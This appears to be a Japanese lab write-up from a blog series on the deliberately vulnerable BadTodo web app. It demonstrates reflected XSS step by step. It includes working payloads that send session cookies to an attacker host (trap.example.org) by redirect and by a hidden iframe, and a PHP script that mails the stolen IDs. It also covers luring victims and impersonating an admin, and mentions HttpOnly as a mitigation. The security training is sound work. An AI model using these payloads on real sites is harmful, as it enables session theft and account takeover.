やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング)

前回:やられアプリ BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習 - demandosigno

今回はXSSを試してみます。

Bad Todoの検索窓に「test」と入力し、検索ボタンをクリックしてみます。
リクエストはGET /todolist.php?rnd=64b73aa18a681&key=testであることが分かります。

このリクエストをZAPで確認すると、パラメータkeyに入力文字列"><scrIpt>alert(1);</scRipt>でXSSがありそうです。

試します。

スクリプトが発動しました。レスポンス内容を確認してみると<input>タグが">で閉じられた後に<script>タグがエスケープされずに出力されてしまっています。

  <input type="text" name="key" value=""><scrIpt>alert(1);</scRipt>">

Cookie(に保存されたセッションID)の閲覧

クッキーは少量のデータをブラウザ側で覚えて置けるものですが、アプリケーションデータを保持する目的でクッキーそのものに値を入れることはあまり行われません。その理由は以下の通りです。
・クッキーが保持できる値の個数や文字列長には制限がある。
・クッキーの値は利用者本人には参照・変更できるので、秘密情報の保持には向かない。
このため、クッキーには「整理番号」としてのセッションIDを格納しておき、実際の値はサーバー側で管理する方法が広く用いられます。これをクッキーによるセッション管理と呼びます。
「安全なウェブアプリケーションの作り方」p.65より

Cookieはログインした状態でブラウザの管理ツールを開き(F12キー)[Application]タグの[Cookies]を見ることで確認できます。

このクッキーをスクリプトを使い確認してみます。Docker の badtodo-apache サーバのTerminalを使うなどして、次のようなHTMLを /var/www/html/trap/XSS1.html として作成します。

<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="utf-8">
  <title>100万円!</title>
</head>
<body>
  <a href="https://todo.example.jp/todolist.php?key=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E">100万円が当たる!クリック!</a>
</body>
</html>

先ほどの例と違う点は alert() の中身が document.cookie となっていることです。これでブラウザに保存されたCookieを読み取ります。
またURLの一部として記述していますので、URLで使えない文字を%エンコードしておく必要があります。
そして今回保存したディレクトリは正規の todo.example.jp ではなく trap.example.org という悪意のあるユーザが管理するドメイン上の領域となります。
ログイン中の正規のユーザがこのウェブページに誤って誘導されリンクをクリックすると、XSSが発動しセッションID(TODOSESSID)がポップアップします。

セッションIDをサーバーのログに記録させる

自分で自分のCookieを閲覧するだけなら意味がないので、次のようにスクリプトの内容を少し変えます。(XSS2.html)

<body>
<a href="https://todo.example.jp/todolist.php?key=%22%3E%3Cscript%3Elocation.href=%27http://trap.example.org/XSS2.php?sid=%27%2Bdocument.cookie;%3C/script%3E%3C%22">100万円が当たる!クリック!</a>
</body>             

このリンクをクリックすると、

リンク先のhttps://todo.example.jp/todolist.php上で次のJavaScriptが実行されます。

<script>location.href='http://trap.example.org/XSS2.php?sid='+document.cookie;</script>

その結果「おめでとう!」ページ(XSS2.php)に遷移します。

<?php echo "おめでとう!"; 

この時、悪者のサーバのログにセッションIDが記録されます。(今回の場合は badtodo-nginxコンテナの [Logs] タブを見ると出ています)

2023-08-22 "GET /XSS2.php?sid=TODOSESSID=05f6cad8448589f3211fa7234cb497ea HTTP/1.1"

リンクの踏ませ方

BadTodoにはTodoリストにURLを入力できる欄があるため、公開情報として罠URLをそこに直接記入してもよいです。

登録時にURLとして
https://todo.example.jp/todolist.php?key=%22%3E%3Cscript%3Elocation.href=%27http://trap.example.org/XSS2.php?sid=%27%2Bdocument.cookie;%3C/script%3E%3C%22のように登録しますが、短縮URLなどでさらに判りにくくしておくのもありです。

その他、問い合わせフォームからメールで送り付けるなどがあります。

セッションIDをメールで収集する

おめでとうページ(XSS3.php)を次のようにします。

<?php
  mb_language('Japanese');
  $sid = $_GET['sid'];
  mb_send_mail('wasbook@example.jp', '攻撃成功', 'セッションID:' . $sid, 'From: cracked@trap.example.org');
?>
<body>攻撃成功</body>
<?php echo $sid; ?>
</body>

Todoリストにhttps://todo.example.jp/todolist.php?key=%22%3E%3Cscript%3Elocation.href=%27http://trap.example.org/XSS3.php?sid=%27%2Bdocument.cookie;%3C/script%3E%3C%22をURLとして登録し、被害者がリンクをクリックすると、

悪者のメールBOXに届きます。

今回はログイン時にあるチェックボックス「ログインしたままにする」にチェックを付けてログインしたため AUTOLOGIN というCookieも発行されています。
(参考:BadTodo - 15 アクセス制御や認可制御の欠落

iframe内に仕込む

これまでの場合だと、画面遷移を挟むため一瞬 BadTodoのページを行ったり来たりするため何かヘンだと怪しまれるかもしれません。
そこで iframe 内ですべて完了させます。(XSS4.html)

<html>
<head></head>
<body>
100万円が当たったよ!
<br><br>
<iframe width="500" height="100" src="https://todo.example.jp/todolist.php?key=%22><script>location.href='https://trap.example.org/XSS3.php?sid='%2Bdocument.cookie;</script>"></iframe>
</body>
</html>

TodoリストにURLとして https://trap.example.org/XSS4.html を登録します。

これを閲覧した管理者がhttps://100万円.com/をクリックすると iframe内で攻撃が成功し、先ほどと同様に悪者のメールBoxにメールで届きます。

そして、iframe を width="0" height="0" frameborder="0" にしておけば、表面上は何も起こっていないように見えます。

注:サードパーティクッキー(訪問しているWebサイト trap.example.org とは異なるドメイン todo.example.jp から発行されるクッキー)が段階的に廃止され始めており、取得できない可能性があります。

サードパーティ Cookie の段階的廃止に備える  |  Privacy Sandbox  |  Google for Developers
追記:Google、サードパーティークッキー廃止方針を撤回 - 日本経済新聞

盗んだセッションIDを使った成りすまし

このような方法で admin(管理者)ユーザのセッションID(この例では1c3f92ac7ba76a11030da763d7c45a98)を盗むことができたら、

悪者は自分のブラウザのセッションIDを盗んだIDに書き換えてから、

「一覧」をクリックするなどしてページを再度読み込むと「admin(管理者)」としてログインした状態になることができます。

よってセッションIDは第三者に漏洩させてはいけません。
セッション管理については後日「BadTodo - 14 セッション管理の不備」でも取り上げます。

ただ現在は「HttpOnly属性」をクッキーに付けることが一般的なので、クッキーを盗むという手はあまり現実的ではないかもしれません。

HttpOnly 属性を持つ Cookie は、 JavaScript の Document.cookie API にはアクセスできません。サーバーに送信されるだけです。例えば、サーバー側のセッションを持続させる Cookie は JavaScript が利用する必要はないので、 HttpOnly 属性をつけるべきです。この予防策は、クロスサイトスクリプティング (XSS) 攻撃を緩和するのに役立ちます。
HTTP Cookie の使用 - HTTP | MDN

次回:やられアプリ BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与) - demandosigno

/* -----codeの行番号----- */